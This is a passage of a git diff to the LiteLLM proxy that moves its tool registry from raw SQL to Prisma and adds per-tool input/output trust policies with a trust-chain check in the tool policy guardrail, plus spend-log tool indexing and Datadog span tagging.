isinstance(tc, dict): + continue + fn = tc.get("function") + if isinstance(fn, dict): + name = fn.get("name") + if name and isinstance(name, str) and name.strip(): + out.add(name.strip()) + + +def _parse_tool_names_from_payload(payload: Dict[str, Any]) -> Set[str]: + """ + Extract deduplicated tool names from a spend log payload. + Sources: mcp_namespaced_tool_name, response (tool_calls), proxy_server_request (tools). + """ + tool_names: Set[str] = set() + + # Top-level MCP tool name (single tool per request for that flow) + mcp_name = payload.get("mcp_namespaced_tool_name") + if mcp_name and isinstance(mcp_name, str) and mcp_name.strip(): + tool_names.add(mcp_name.strip()) + + # Response: OpenAI-style tool_calls[].function.name or choices[0].message.tool_calls + response_raw = payload.get("response") + if response_raw: + response_obj = ( + safe_json_loads(response_raw, default=None) + if isinstance(response_raw, str) + else response_raw + ) + if isinstance(response_obj, dict): + _add_tool_calls_to_set(response_obj.get("tool_calls"), tool_names) + choices = response_obj.get("choices") + if isinstance(choices, list) and choices: + msg = choices[0].get("message") if isinstance(choices[0], dict) else None + if isinstance(msg, dict): + _add_tool_calls_to_set(msg.get("tool_calls"), tool_names) + + # Request body: tools[].function.name + request_raw = payload.get("proxy_server_request") + if request_raw: + request_obj = ( + safe_json_loads(request_raw, default=None) + if isinstance(request_raw, str) + else request_raw + ) + if isinstance(request_obj, dict): + body = request_obj.get("body", request_obj) + if isinstance(body, dict): + request_obj = body + if isinstance(request_obj, dict): + tools = request_obj.get("tools") + if isinstance(tools, list): + for t in tools: + if isinstance(t, dict): + fn = t.get("function") + if isinstance(fn, dict): + name = fn.get("name") + if name and isinstance(name, str) and name.strip(): + tool_names.add(name.strip()) + + return tool_names + + +async def process_spend_logs_tool_usage( + prisma_client: PrismaClient, + logs_to_process: List[Dict[str, Any]], +) -> None: + """ + After spend logs are written: insert SpendLogToolIndex rows from each payload. + Extracts tool names from mcp_namespaced_tool_name, response tool_calls, and + proxy_server_request tools. + """ + if not logs_to_process: + return + + index_rows: List[Dict[str, Any]] = [] + + for payload in logs_to_process: + request_id = payload.get("request_id") + start_time = payload.get("startTime") + if not request_id or not start_time: + continue + if isinstance(start_time, str): + try: + start_time = datetime.fromisoformat( + start_time.replace("Z", "+00:00") + ) + except (ValueError, TypeError): + continue + if start_time.tzinfo is None: + start_time = start_time.replace(tzinfo=timezone.utc) + + tool_names = _parse_tool_names_from_payload(payload) + for tool_name in tool_names: + index_rows.append({ + "request_id": request_id, + "tool_name": tool_name, + "start_time": start_time, + }) + + if not index_rows: + return + + try: + index_data = [] + for r in index_rows: + st = r["start_time"] + if isinstance(st, str): + try: + st = datetime.fromisoformat(st.replace("Z", "+00:00")) + except (ValueError, TypeError): + continue + if st.tzinfo is None: + st = st.replace(tzinfo=timezone.utc) + index_data.append({ + "request_id": r["request_id"], + "tool_name": r["tool_name"], + "start_time": st, + }) + if index_data: + await prisma_client.db.litellm_spendlogtoolindex.create_many( + data=index_data, + skip_duplicates=True, + ) + except Exception as e: + verbose_proxy_logger.warning( + "Tool usage tracking (SpendLogToolIndex) failed (non-fatal): %s", e + ) diff --git a/litellm/proxy/db/tool_registry_writer.py b/litellm/proxy/db/tool_registry_writer.py index 4e0a8095a08..0eda012d515 100644 --- a/litellm/proxy/db/tool_registry_writer.py +++ b/litellm/proxy/db/tool_registry_writer.py @@ -2,36 +2,64 @@ DB helpers for LiteLLM_ToolTable — the global tool registry. Tools are auto-discovered from LLM responses and upserted here. -Admins use the management endpoints to read and update call_policy. - -NOTE: Uses raw SQL (query_raw / execute_raw) instead of Prisma model methods -because the generated Prisma Python client may not have LiteLLM_ToolTable -when running against an older generated schema. +Admins use the management endpoints to read and update input_policy / output_policy. """ import uuid from datetime import datetime, timezone -from typing import TYPE_CHECKING, Dict, List, Optional +from typing import TYPE_CHECKING, Any, Dict, List, Optional, Tuple, Union from litellm._logging import verbose_proxy_logger from litellm.proxy._types import ToolDiscoveryQueueItem -from litellm.types.tool_management import LiteLLM_ToolTableRow, ToolCallPolicy +from litellm.types.tool_management import ( + LiteLLM_ToolTableRow, + ToolPolicyOverrideRow, +) if TYPE_CHECKING: from litellm.proxy.utils import PrismaClient -def _row_to_model(row: dict) -> LiteLLM_ToolTableRow: +def _row_to_model(row: Union[dict, Any]) -> LiteLLM_ToolTableRow: + """Convert a Prisma model instance or dict to LiteLLM_ToolTableRow.""" + model_dump = getattr(row, "model_dump", None) + if callable(model_dump): + row = model_dump() + elif not isinstance(row, dict): + row = { + k: getattr(row, k, None) + for k in ( + "tool_id", + "tool_name", + "origin", + "input_policy", + "output_policy", + "call_count", + "assignments", + "key_hash", + "team_id", + "key_alias", + "user_agent", + "last_used_at", + "created_at", + "updated_at", + "created_by", + "updated_by", + ) + } return LiteLLM_ToolTableRow( tool_id=row.get("tool_id", ""), tool_name=row.get("tool_name", ""), origin=row.get("origin"), - call_policy=row.get("call_policy", "untrusted"), + input_policy=row.get("input_policy") or "untrusted", + output_policy=row.get("output_policy") or "untrusted", call_count=int(row.get("call_count") or 0), assignments=row.get("assignments"), key_hash=row.get("key_hash"), team_id=row.get("team_id"), key_alias=row.get("key_alias"), + user_agent=row.get("user_agent"), + last_used_at=row.get("last_used_at"), created_at=row.get("created_at"), updated_at=row.get("updated_at"), created_by=row.get("created_by"), @@ -44,10 +72,10 @@ async def batch_upsert_tools( items: List[ToolDiscoveryQueueItem], ) -> None: """ - Batch-upsert tool registry rows via raw SQL. + Batch-upsert tool registry rows via Prisma. - On first insert: sets call_policy = "untrusted" (schema default), call_count = 1. - On conflict: increments call_count; preserves existing call_policy. + On first insert: sets input_policy/output_policy = "untrusted" (default), call_count = 1. + On conflict: increments call_count; preserves existing policies. """ if not items: return @@ -55,6 +83,8 @@ async def batch_upsert_tools( data = [item for item in items if item.get("tool_name")] if not data: return + now = datetime.now(timezone.utc) + table = prisma_client.db.litellm_tooltable for item in data: tool_name = item.get("tool_name", "") origin = item.get("origin") or "user_defined" @@ -62,49 +92,52 @@ async def batch_upsert_tools( key_hash = item.get("key_hash") team_id = item.get("team_id") key_alias = item.get("key_alias") - now = datetime.now(timezone.utc).isoformat() - await prisma_client.db.execute_raw( - 'INSERT INTO "LiteLLM_ToolTable" ' - "(tool_id, tool_name, origin, call_policy, call_count, created_by, updated_by, key_hash, team_id, key_alias, created_at, updated_at) " - "VALUES ($7, $1, $2, 'untrusted', 1, $3, $3, $4, $5, $6, $8, $8) " - "ON CONFLICT (tool_name) DO UPDATE SET " - "call_count = \"LiteLLM_ToolTable\".call_count + 1, " - "updated_at = $8", - tool_name, - origin, - created_by, - key_hash, - team_id, - key_alias, - str(uuid.uuid4()), - now, + user_agent = item.get("user_agent") + await table.upsert( + where={"tool_name": tool_name}, + data={ + "create": { + "tool_id": str(uuid.uuid4()), + "tool_name": tool_name, + "origin": origin, + "input_policy": "untrusted", + "output_policy": "untrusted", + "call_count": 1, + "created_by": created_by, + "updated_by": created_by, + "key_hash": key_hash, + "team_id": team_id, + "key_alias": key_alias, + "user_agent": user_agent, + "last_used_at": now, + }, + "update": { + "call_count": {"increment": 1}, + "updated_at": now, + "last_used_at": now, + }, + }, ) verbose_proxy_logger.debug( "tool_registry_writer: upserted %d tool(s)", len(data) ) except Exception as e: - verbose_proxy_logger.error("tool_registry_writer batch_upsert_tools error: %s", e) + verbose_proxy_logger.error( + "tool_registry_writer batch_upsert_tools error: %s", e + ) async def list_tools( prisma_client: "PrismaClient", - call_policy: Optional[ToolCallPolicy] = None, + input_policy: Optional[str] = None, ) -> List[LiteLLM_ToolTableRow]: - """Return all tools, optionally filtered by call_policy.""" + """Return all tools, optionally filtered by input_policy.""" try: - if call_policy is not None: - rows = await prisma_client.db.query_raw( - 'SELECT tool_id, tool_name, origin, call_policy, call_count, assignments, ' - 'key_hash, team_id, key_alias, created_at, updated_at, created_by, updated_by ' - 'FROM "LiteLLM_ToolTable" WHERE call_policy = $1 ORDER BY created_at DESC', - call_policy, - ) - else: - rows = await prisma_client.db.query_raw( - 'SELECT tool_id, tool_name, origin, call_policy, call_count, assignments, ' - 'key_hash, team_id, key_alias, created_at, updated_at, created_by, updated_by ' - 'FROM "LiteLLM_ToolTable" ORDER BY created_at DESC', - ) + where = {"input_policy": input_policy} if input_policy is not None else {} + rows = await prisma_client.db.litellm_tooltable.find_many( + where=where, + order={"created_at": "desc"}, + ) return [_row_to_model(row) for row in rows] except Exception as e: verbose_proxy_logger.error("tool_registry_writer list_tools error: %s", e) @@ -117,15 +150,12 @@ async def get_tool( ) -> Optional[LiteLLM_ToolTableRow]: """Return a single tool row by tool_name.""" try: - rows = await prisma_client.db.query_raw( - 'SELECT tool_id, tool_name, origin, call_policy, call_count, assignments, ' - 'key_hash, team_id, key_alias, created_at, updated_at, created_by, updated_by ' - 'FROM "LiteLLM_ToolTable" WHERE tool_name = $1', - tool_name, + row = await prisma_client.db.litellm_tooltable.find_unique( + where={"tool_name": tool_name}, ) - if not rows: + if row is None: return None - return _row_to_model(rows[0]) + return _row_to_model(row) except Exception as e: verbose_proxy_logger.error("tool_registry_writer get_tool error: %s", e) return None @@ -134,46 +164,279 @@ async def get_tool( async def update_tool_policy( prisma_client: "PrismaClient", tool_name: str, - call_policy: ToolCallPolicy, updated_by: Optional[str], + input_policy: Optional[str] = None, + output_policy: Optional[str] = None, ) -> Optional[LiteLLM_ToolTableRow]: - """Update the call_policy for a tool. Upserts the row if it does not exist yet.""" + """Update input_policy and/or output_policy for a tool. Upserts the row if it does not exist yet.""" try: _updated_by = updated_by or "system" - now = datetime.now(timezone.utc).isoformat() - await prisma_client.db.execute_raw( - 'INSERT INTO "LiteLLM_ToolTable" (tool_id, tool_name, call_policy, created_by, updated_by, created_at, updated_at) ' - "VALUES ($4, $1, $2, $3, $3, $5, $5) " - "ON CONFLICT (tool_name) DO UPDATE SET call_policy = $2, updated_by = $3, updated_at = $5", - tool_name, - call_policy, - _updated_by, - str(uuid.uuid4()), - now, + now = datetime.now(timezone.utc) + + create_data: dict = { + "tool_id": str(uuid.uuid4()), + "tool_name": tool_name, + "input_policy": input_policy or "untrusted", + "output_policy": output_policy or "untrusted", + "created_by": _updated_by, + "updated_by": _updated_by, + "created_at": now, + "updated_at": now, + } + update_data: dict = { + "updated_by": _updated_by, + "updated_at": now, + } + if input_policy is not None: + update_data["input_policy"] = input_policy + if output_policy is not None: + update_data["output_policy"] = output_policy + + await prisma_client.db.litellm_tooltable.upsert( + where={"tool_name": tool_name}, + data={ + "create": create_data, + "update": update_data, + }, ) return await get_tool(prisma_client, tool_name) except Exception as e: - verbose_proxy_logger.error("tool_registry_writer update_tool_policy error: %s", e) + verbose_proxy_logger.error( + "tool_registry_writer update_tool_policy error: %s", e + ) return None async def get_tools_by_names( prisma_client: "PrismaClient", tool_names: List[str], -) -> Dict[str, str]: +) -> Dict[str, Tuple[str, str]]: """ - Return a {tool_name: call_policy} map for the given tool names. - Used by the policy enforcement guardrail — single batch query, never N+1. + Return a {tool_name: (input_policy, output_policy)} map for the given tool names. """ if not tool_names: return {} try: - placeholders = ", ".join(f"${i+1}" for i in range(len(tool_names))) - rows = await prisma_client.db.query_raw( - f'SELECT tool_name, call_policy FROM "LiteLLM_ToolTable" WHERE tool_name IN ({placeholders})', - *tool_names, + rows = await prisma_client.db.litellm_tooltable.find_many( + where={"tool_name": {"in": tool_names}}, ) - return {row["tool_name"]: row["call_policy"] for row in rows} + return { + row.tool_name: ( + getattr(row, "input_policy", "untrusted") or "untrusted", + getattr(row, "output_policy", "untrusted") or "untrusted", + ) + for row in rows + } except Exception as e: - verbose_proxy_logger.error("tool_registry_writer get_tools_by_names error: %s", e) + verbose_proxy_logger.error( + "tool_registry_writer get_tools_by_names error: %s", e + ) return {} + + +async def list_overrides_for_tool( + prisma_client: "PrismaClient", + tool_name: str, +) -> List[ToolPolicyOverrideRow]: + """ + Return override-like rows for a tool by finding object permissions that have + this tool in blocked_tools, then resolving each permission to key/team scope for display. + """ + out: List[ToolPolicyOverrideRow] = [] + try: + perms = await prisma_client.db.litellm_objectpermissiontable.find_many( + where={"blocked_tools": {"has": tool_name}}, + include={ + "verification_tokens": True, + "teams": True, + }, + ) + for perm in perms: + op_id = getattr(perm, "object_permission_id", None) or "" + tokens = getattr(perm, "verification_tokens", []) or [] + teams = getattr(perm, "teams", []) or [] + for t in tokens: + out.append( + ToolPolicyOverrideRow( + override_id=op_id, + tool_name=tool_name, + team_id=None, + key_hash=getattr(t, "token", None), + input_policy="blocked", + key_alias=getattr(t, "key_alias", None), + created_at=None, + updated_at=None, + ) + ) + for team in teams: + out.append( + ToolPolicyOverrideRow( + override_id=op_id, + tool_name=tool_name, + team_id=getattr(team, "team_id", None), + key_hash=None, + input_policy="blocked", + key_alias=getattr(team, "team_alias", None), + created_at=None, + updated_at=None, + ) + ) + return out + except Exception as e: + verbose_proxy_logger.error( + "tool_registry_writer list_overrides_for_tool error: %s", e + ) + return [] + + +class ToolPolicyRegistry: + """ + In-memory registry of tool policies synced from DB. + Hot path uses get_effective_policies only — no DB, no cache. + """ + + def __init__(self) -> None: + self._tool_input_policies: Dict[str, str] = {} + self._tool_output_policies: Dict[str, str] = {} + self._blocked_tools_by_op_id: Dict[str, List[str]] = {} + self._initialized: bool = False + + def is_initialized(self) -> bool: + return self._initialized + + async def sync_tool_policy_from_db(self, prisma_client: "PrismaClient") -> None: + """Load all tool policies and object-permission blocked_tools from DB.""" + try: + tools = await prisma_client.db.litellm_tooltable.find_many() + self._tool_input_policies = { + row.tool_name: getattr(row, "input_policy", "untrusted") or "untrusted" + for row in tools + } + self._tool_output_policies = { + row.tool_name: getattr(row, "output_policy", "untrusted") or "untrusted" + for row in tools + } + + perms = await prisma_client.db.litellm_objectpermissiontable.find_many() + self._blocked_tools_by_op_id = {} + for row in perms: + op_id = getattr(row, "object_permission_id", None) + blocked = getattr(row, "blocked_tools", None) or [] + if op_id: + self._blocked_tools_by_op_id[op_id] = list(blocked) + + self._initialized = True + verbose_proxy_logger.info( + "ToolPolicyRegistry: synced %d tool policies and %d object permissions from DB", + len(self._tool_input_policies), + len(self._blocked_tools_by_op_id), + ) + except Exception as e: + verbose_proxy_logger.exception( + "ToolPolicyRegistry sync_tool_policy_from_db error: %s", e + ) + raise + + def get_input_policy(self, tool_name: str) -> str: + return self._tool_input_policies.get(tool_name, "untrusted") + + def get_output_policy(self, tool_name: str) -> str: + return self._tool_output_policies.get(tool_name, "untrusted") + + def get_effective_policies( + self, + tool_names: List[str], + object_permission_id: Optional[str] = None, + team_object_permission_id: Optional[str] = None, + ) -> Dict[str, str]: + """ + Return effective input_policy per tool from in-memory state. + If tool is in key or team blocked_tools -> "blocked", else global input_policy or "untrusted". + """ + if not tool_names: + return {} + blocked: set = set() + for op_id in (object_permission_id, team_object_permission_id): + if op_id and op_id.strip(): + blocked.update( + self._blocked_tools_by_op_id.get(op_id.strip(), []) + ) + result: Dict[str, str] = {} + for name in tool_names: + if name in blocked: + result[name] = "blocked" + else: + result[name] = self._tool_input_policies.get(name, "untrusted") + return result + + +_tool_policy_registry: Optional[ToolPolicyRegistry] = None + + +def get_tool_policy_registry() -> ToolPolicyRegistry: + """Return the global ToolPolicyRegistry singleton.""" + global _tool_policy_registry + if _tool_policy_registry is None: + _tool_policy_registry = ToolPolicyRegistry() + return _tool_policy_registry + + +async def add_tool_to_object_permission_blocked( + prisma_client: "PrismaClient", + object_permission_id: str, + tool_name: str, +) -> bool: + """Add tool_name to the permission's blocked_tools if not already present.""" + if not object_permission_id or not tool_name: + return False + try: + row = await prisma_client.db.litellm_objectpermissiontable.find_unique( + where={"object_permission_id": object_permission_id}, + ) + if row is None: + return False + current = list(getattr(row, "blocked_tools", []) or []) + if tool_name in current: + return True + current.append(tool_name) + await prisma_client.db.litellm_objectpermissiontable.update( + where={"object_permission_id": object_permission_id}, + data={"blocked_tools": current}, + ) + return True + except Exception as e: + verbose_proxy_logger.error( + "tool_registry_writer add_tool_to_object_permission_blocked error: %s", e + ) + return False + + +async def remove_tool_from_object_permission_blocked( + prisma_client: "PrismaClient", + object_permission_id: str, + tool_name: str, +) -> bool: + """Remove tool_name from the permission's blocked_tools. Returns False if tool was not in list.""" + if not object_permission_id or not tool_name: + return False + try: + row = await prisma_client.db.litellm_objectpermissiontable.find_unique( + where={"object_permission_id": object_permission_id}, + ) + if row is None: + return False + current = list(getattr(row, "blocked_tools", []) or []) + if tool_name not in current: + return False + current = [t for t in current if t != tool_name] + await prisma_client.db.litellm_objectpermissiontable.update( + where={"object_permission_id": object_permission_id}, + data={"blocked_tools": current}, + ) + return True + except Exception as e: + verbose_proxy_logger.error( + "tool_registry_writer remove_tool_from_object_permission_blocked error: %s", + e, + ) + return False diff --git a/litellm/proxy/dd_span_tagger.py b/litellm/proxy/dd_span_tagger.py new file mode 100644 index 00000000000..08b7d928d0e --- /dev/null +++ b/litellm/proxy/dd_span_tagger.py @@ -0,0 +1,60 @@ +from typing import Optional + +from litellm._logging import verbose_proxy_logger +from litellm.litellm_core_utils.dd_tracing import set_active_span_tag +from litellm.proxy._types import UserAPIKeyAuth + + +class DDSpanTagger: + """Best-effort helpers for tagging the active Datadog APM span with LiteLLM request metadata.""" + + @staticmethod + def tag_call_id(litellm_call_id: Optional[str]) -> None: + """ + Attach LiteLLM call id to the active Datadog APM span. + + This enables searching APM traces by LiteLLM call id returned in + `x-litellm-call-id`. + """ + if not litellm_call_id: + return + try: + set_active_span_tag("litellm.call_id", str(litellm_call_id)) + except Exception: + verbose_proxy_logger.debug( + "Failed to tag active ddtrace span with litellm.call_id", + exc_info=True, + ) + + @staticmethod + def tag_request( + user_api_key_dict: UserAPIKeyAuth, + requested_model: Optional[str], + ) -> None: + """ + Attach key and model tags to the active Datadog APM span. + + Tags set (all best-effort, skipped when value is absent): + - ``litellm.key_alias`` — human-readable alias for the API key + - ``litellm.key_hash`` — hashed API key (safe to log; never the raw secret) + - ``litellm.requested_model``— model name as sent by the client + + Use cases: + - Trace all requests from a specific user/key: filter by ``litellm.key_alias`` or + ``litellm.key_hash``. + - Trace all requests for a specific model: filter by ``litellm.requested_model``. + + Note: key_alias / key_hash are not available for unauthenticated (e.g. 401) requests. + """ + try: + if user_api_key_dict.key_alias: + set_active_span_tag("litellm.key_alias", str(user_api_key_dict.key_alias)) + if user_api_key_dict.token: + set_active_span_tag("litellm.key_hash", str(user_api_key_dict.token)) + if requested_model: + set_active_span_tag("litellm.requested_model", str(requested_model)) + except Exception: + verbose_proxy_logger.debug( + "Failed to tag active ddtrace span with key/model tags", + exc_info=True, + ) diff --git a/litellm/proxy/guardrails/guardrail_endpoints.py b/litellm/proxy/guardrails/guardrail_endpoints.py index c6a709534e1..4c866a24991 100644 --- a/litellm/proxy/guardrails/guardrail_endpoints.py +++ b/litellm/proxy/guardrails/guardrail_endpoints.py @@ -1624,11 +1624,11 @@ def _build_field_dict( # Determine the field type from annotation field_type = _get_field_type_from_annotation(field_annotation) - # Check for custom UI type override (ui_type preferred; "type" leaks into OpenAPI and breaks schema) - field_json_schema_extra = getattr(field, "json_schema_extra", {}) or {} + # Check for custom UI type override + field_json_schema_extra = getattr(field, "json_schema_extra", {}) if field_json_schema_extra and "ui_type" in field_json_schema_extra: - ut = field_json_schema_extra["ui_type"] - field_type = ut if isinstance(ut, str) else getattr(ut, "value", ut) + ui_type = field_json_schema_extra["ui_type"] + field_type = ui_type.value if hasattr(ui_type, "value") else ui_type elif field_json_schema_extra and "type" in field_json_schema_extra: field_type = field_json_schema_extra["type"] diff --git a/litellm/proxy/guardrails/guardrail_hooks/tool_policy/tool_policy_guardrail.py b/litellm/proxy/guardrails/guardrail_hooks/tool_policy/tool_policy_guardrail.py index 87558566c42..368948414e9 100644 --- a/litellm/proxy/guardrails/guardrail_hooks/tool_policy/tool_policy_guardrail.py +++ b/litellm/proxy/guardrails/guardrail_hooks/tool_policy/tool_policy_guardrail.py @@ -1,13 +1,16 @@ """ Tool Policy Guardrail -Reads call_policy from LiteLLM_ToolTable and enforces it on LLM requests/responses. +Reads input_policy / output_policy from LiteLLM_ToolTable and enforces them. -Policy values: - "trusted" - allow through (no action) - "untrusted" - allow through (no action; default for newly discovered tools) +Input policy values: + "untrusted" - allow through (default for newly discovered tools) + "trusted" - only allow if conversation contains no untrusted tool output "blocked" - raise HTTPException, preventing the tool call - "dual_llm" - (Phase 3) send to second LLM for verification; currently treated as allowed + +Output policy values: + "untrusted" - output may be tainted (default) + "trusted" - output is verified safe Configuration in proxy config YAML: guardrails: @@ -15,25 +18,18 @@ Configuration in proxy config YAML: litellm_params: guardrail: tool_policy mode: post_call - -or both pre and post call: - - guardrail_name: "tool_policy" - litellm_params: - guardrail: tool_policy - mode: during_call # runs before LLM and on response """ -from typing import TYPE_CHECKING, Any, Dict, List, Literal, Optional +from typing import TYPE_CHECKING, Any, Dict, List, Literal, Optional, Tuple from fastapi import HTTPException from litellm._logging import verbose_proxy_logger -from litellm.caching.dual_cache import DualCache -from litellm.constants import TOOL_POLICY_CACHE_TTL_SECONDS from litellm.integrations.custom_guardrail import ( CustomGuardrail, log_guardrail_information, ) +from litellm.proxy.guardrails.tool_name_extraction import extract_request_tool_names from litellm.types.guardrails import GuardrailEventHooks from litellm.types.utils import GenericGuardrailAPIInputs @@ -43,12 +39,71 @@ if TYPE_CHECKING: GUARDRAIL_NAME = "tool_policy" +def _get_request_object_permission_ids( + request_data: dict, +) -> Tuple[Optional[str], Optional[str]]: + """Extract object_permission_id and team_object_permission_id from request_data.""" + if not request_data: + return None, None + for key in ("litellm_metadata", "metadata"): + meta = request_data.get(key) + if not isinstance(meta, dict): + continue + auth = meta.get("user_api_key_auth") + if auth is not None and hasattr(auth, "object_permission_id"): + key_op = getattr(auth, "object_permission_id", None) + team_op = getattr(auth, "team_object_permission_id", None) + if key_op is not None or team_op is not None: + return ( + str(key_op).strip() if key_op else None, + str(team_op).strip() if team_op else None, + ) + key_op = meta.get("user_api_key_object_permission_id") + team_op = meta.get("user_api_key_team_object_permission_id") + if key_op is not None or team_op is not None: + return ( + str(key_op).strip() if key_op else None, + str(team_op).strip() if team_op else None, + ) + return None, None + + +def _get_request_route_from_data(request_data: dict) -> Optional[str]: + """Get request route from request_data (metadata or top-level).""" + route = request_data.get("user_api_key_request_route") + if route: + return route + meta = request_data.get("metadata") or request_data.get("litellm_metadata") or {} + return meta.get("user_api_key_request_route") + + +def _resolve_tool_names_from_messages(messages: List[dict]) -> Dict[str, str]: + """ + Build a map of tool_call_id -> tool_name from assistant messages' tool_calls. + Used to resolve which tool produced each tool result in the conversation. + """ + mapping: Dict[str, str] = {} + for msg in messages: + if msg.get("role") != "assistant": + continue + tool_calls = msg.get("tool_calls") or [] + for tc in tool_calls: + if isinstance(tc, dict): + tc_id = tc.get("id") + fn = (tc.get("function") or {}).get("name") + else: + tc_id = getattr(tc, "id", None) + fn_obj = getattr(tc, "function", None) + fn = getattr(fn_obj, "name", None) if fn_obj else None + if tc_id and fn: + mapping[tc_id] = fn + return mapping + + class ToolPolicyGuardrail(CustomGuardrail): """ - Guardrail that enforces per-tool call policies stored in LiteLLM_ToolTable. - - Tools with call_policy="blocked" are rejected before/after the LLM call. - Tools with call_policy="trusted" or "untrusted" pass through unchanged. + Guardrail that enforces per-tool input/output policies from the in-memory + ToolPolicyRegistry (synced from DB). """ def __init__(self, **kwargs: Any) -> None: @@ -59,7 +114,6 @@ class ToolPolicyGuardrail(CustomGuardrail): GuardrailEventHooks.during_call, ] super().__init__(**kwargs) - self._policy_cache: DualCache = DualCache() @log_guardrail_information async def apply_guardrail( @@ -70,12 +124,7 @@ class ToolPolicyGuardrail(CustomGuardrail): logging_obj: Optional["LiteLLMLoggingObj"] = None, ) -> GenericGuardrailAPIInputs: """ - Enforce tool policies on both request tools and response tool_calls. - - - input_type="request": check inputs["tools"] (tool definitions in the LLM request) - - input_type="response": check inputs["tool_calls"] (tool_calls in the LLM response) - - Raises HTTPException (400) if any tool is "blocked". + Enforce input_policy and output_policy trust chain on request tools / response tool_calls. """ if input_type == "request": tools = inputs.get("tools") or [] @@ -86,7 +135,11 @@ class ToolPolicyGuardrail(CustomGuardrail): and isinstance(t.get("function"), dict) and t["function"].get("name") ] - else: # response + if not tool_names: + route = _get_request_route_from_data(request_data) + if route: + tool_names = extract_request_tool_names(route, request_data) + else: tool_calls = inputs.get("tool_calls") or [] tool_names = [] for tc in tool_calls: @@ -101,12 +154,25 @@ class ToolPolicyGuardrail(CustomGuardrail): if not tool_names: return inputs - policy_map = await self._get_policies_cached(tool_names) + object_permission_id, team_object_permission_id = ( + _get_request_object_permission_ids(request_data) + ) + from litellm.proxy.db.tool_registry_writer import get_tool_policy_registry + registry = get_tool_policy_registry() + if not registry.is_initialized(): + return inputs + + # Stage 1: Check for blocked tools (input_policy=blocked or per-key/team override) + policy_map = registry.get_effective_policies( + tool_names, + object_permission_id=object_permission_id, + team_object_permission_id=team_object_permission_id, + ) blocked = [name for name in tool_names if policy_map.get(name) == "blocked"] if blocked: verbose_proxy_logger.warning( - "ToolPolicyGuardrail: blocking tool(s) %s (policy=blocked)", blocked + "ToolPolicyGuardrail: blocking tool(s) %s (input_policy=blocked)", blocked ) raise HTTPException( status_code=400, @@ -117,47 +183,47 @@ class ToolPolicyGuardrail(CustomGuardrail): }, ) + # Stage 2: Trust chain enforcement (response path only) + # For each tool with input_policy=trusted, check if conversation + # contains output from tools with output_policy=untrusted + if input_type == "response": + trusted_input_tools = [ + name for name in tool_names if policy_map.get(name) == "trusted" + ] + if trusted_input_tools: + messages = request_data.get("messages") or [] + tc_id_to_name = _resolve_tool_names_from_messages(messages) + + untrusted_sources: List[str] = [] + for msg in messages: + if msg.get("role") != "tool": + continue + tool_call_id = msg.get("tool_call_id") + source_tool = tc_id_to_name.get(tool_call_id, "") if tool_call_id else "" + if not source_tool: + continue + if registry.get_output_policy(source_tool) == "untrusted": + if source_tool not in untrusted_sources: + untrusted_sources.append(source_tool) + + if untrusted_sources: + verbose_proxy_logger.warning( + "ToolPolicyGuardrail: trust chain violation — %s require trusted input " + "but conversation has untrusted output from %s", + trusted_input_tools, + untrusted_sources, + ) + raise HTTPException( + status_code=400, + detail={ + "error": "Violated tool policy", + "blocked_tools": trusted_input_tools, + "untrusted_sources": untrusted_sources, + "message": ( + f"{', '.join(trusted_input_tools)} requires trusted input but " + f"conversation contains untrusted output from {', '.join(untrusted_sources)}." + ), + }, + ) + return inputs - - async def _get_policies_cached(self, tool_names: List[str]) -> Dict[str, str]: - """ - Batch-fetch call_policy for the given tool names. - - Caches per individual tool name (not per combination) so that adding - a new tool to a request doesn't invalidate the cached policies for all - the other tools already in the cache. - """ - from litellm.proxy.db.tool_registry_writer import get_tools_by_names - from litellm.proxy.proxy_server import prisma_client - - if not tool_names or prisma_client is None: - return {} - - result: Dict[str, str] = {} - cache_misses: List[str] = [] - - for name in tool_names: - cached = await self._policy_cache.async_get_cache(f"tool_policy:{name}") - if cached is not None and isinstance(cached, str): - result[name] = cached - else: - cache_misses.append(name) - - if cache_misses: - fetched = await get_tools_by_names( - prisma_client=prisma_client, tool_names=cache_misses - ) - for name, policy in fetched.items(): - result[name] = policy - await self._policy_cache.async_set_cache( - key=f"tool_policy:{name}", - value=policy, - ttl=TOOL_POLICY_CACHE_TTL_SECONDS, - ) - verbose_proxy_logger.debug( - "ToolPolicyGuardrail: fetched %d policies from DB (cache hits: %d)", - len(cache_misses), - len(tool_names) - len(cache_misses), - ) - - return result diff --git a/litellm/proxy/guardrails/tool_name_extraction.py b/litellm/proxy/guardrails/tool_name_extraction.py new file mode 100644 index 00000000000..db24fa2277c --- /dev/null +++ b/litellm/proxy/guardrails/tool_name_extraction.py @@ -0,0 +1,85 @@ +""" +Extract tool names from request body by route/call type. + +Used by auth (check_tools_allowlist) and ToolPolicyGuardrail so tool-format +knowledge lives in one place. Uses guardrail translation handlers where available, +with standalone extractors for generate_content and MCP. +""" + +from typing import Any, Dict, List + +from litellm.litellm_core_utils.api_route_to_call_types import get_call_types_for_route +from litellm.llms import load_guardrail_translation_mappings +from litellm.types.utils import CallTypes + +# Call types that have no guardrail translation handler; we use standalone extractors +STANDALONE_EXTRACTORS: Dict[str, Any] = {} + + +def _extract_generate_content_tool_names(data: dict) -> List[str]: + """Google generateContent: tools[].functionDeclarations[].name""" + names: List[str] = [] + for tool in data.get("tools") or []: + if not isinstance(tool, dict): + continue + for decl in tool.get("functionDeclarations") or []: + if isinstance(decl, dict) and decl.get("name"): + names.append(str(decl["name"])) + return names + + +def _extract_mcp_tool_names(data: dict) -> List[str]: + """MCP call_tool: name or mcp_tool_name in body""" + names: List[str] = [] + name = data.get("name") or data.get("mcp_tool_name") + if name: + names.append(str(name)) + return names + + +def _register_standalone_extractors() -> None: + if STANDALONE_EXTRACTORS: + return + STANDALONE_EXTRACTORS[CallTypes.generate_content.value] = _extract_generate_content_tool_names + STANDALONE_EXTRACTORS[CallTypes.agenerate_content.value] = _extract_generate_content_tool_names + STANDALONE_EXTRACTORS[CallTypes.call_mcp_tool.value] = _extract_mcp_tool_names + + +# Tool-capable call types (routes that can send tools in the request) +TOOL_CAPABLE_CALL_TYPES = frozenset({ + CallTypes.completion.value, + CallTypes.acompletion.value, + CallTypes.responses.value, + CallTypes.aresponses.value, + CallTypes.anthropic_messages.value, + CallTypes.generate_content.value, + CallTypes.agenerate_content.value, + CallTypes.call_mcp_tool.value, +}) + + +def extract_request_tool_names(route: str, data: dict) -> List[str]: + """ + Extract tool names from the request body for the given route. + Uses guardrail translation handlers when available, else standalone extractors + for generate_content and MCP. Returns [] for non-tool-capable routes or when + no tools are present. + """ + call_types = get_call_types_for_route(route) + if not call_types: + return [] + _register_standalone_extractors() + mappings = load_guardrail_translation_mappings() + for call_type in call_types: + if not isinstance(call_type, CallTypes): + 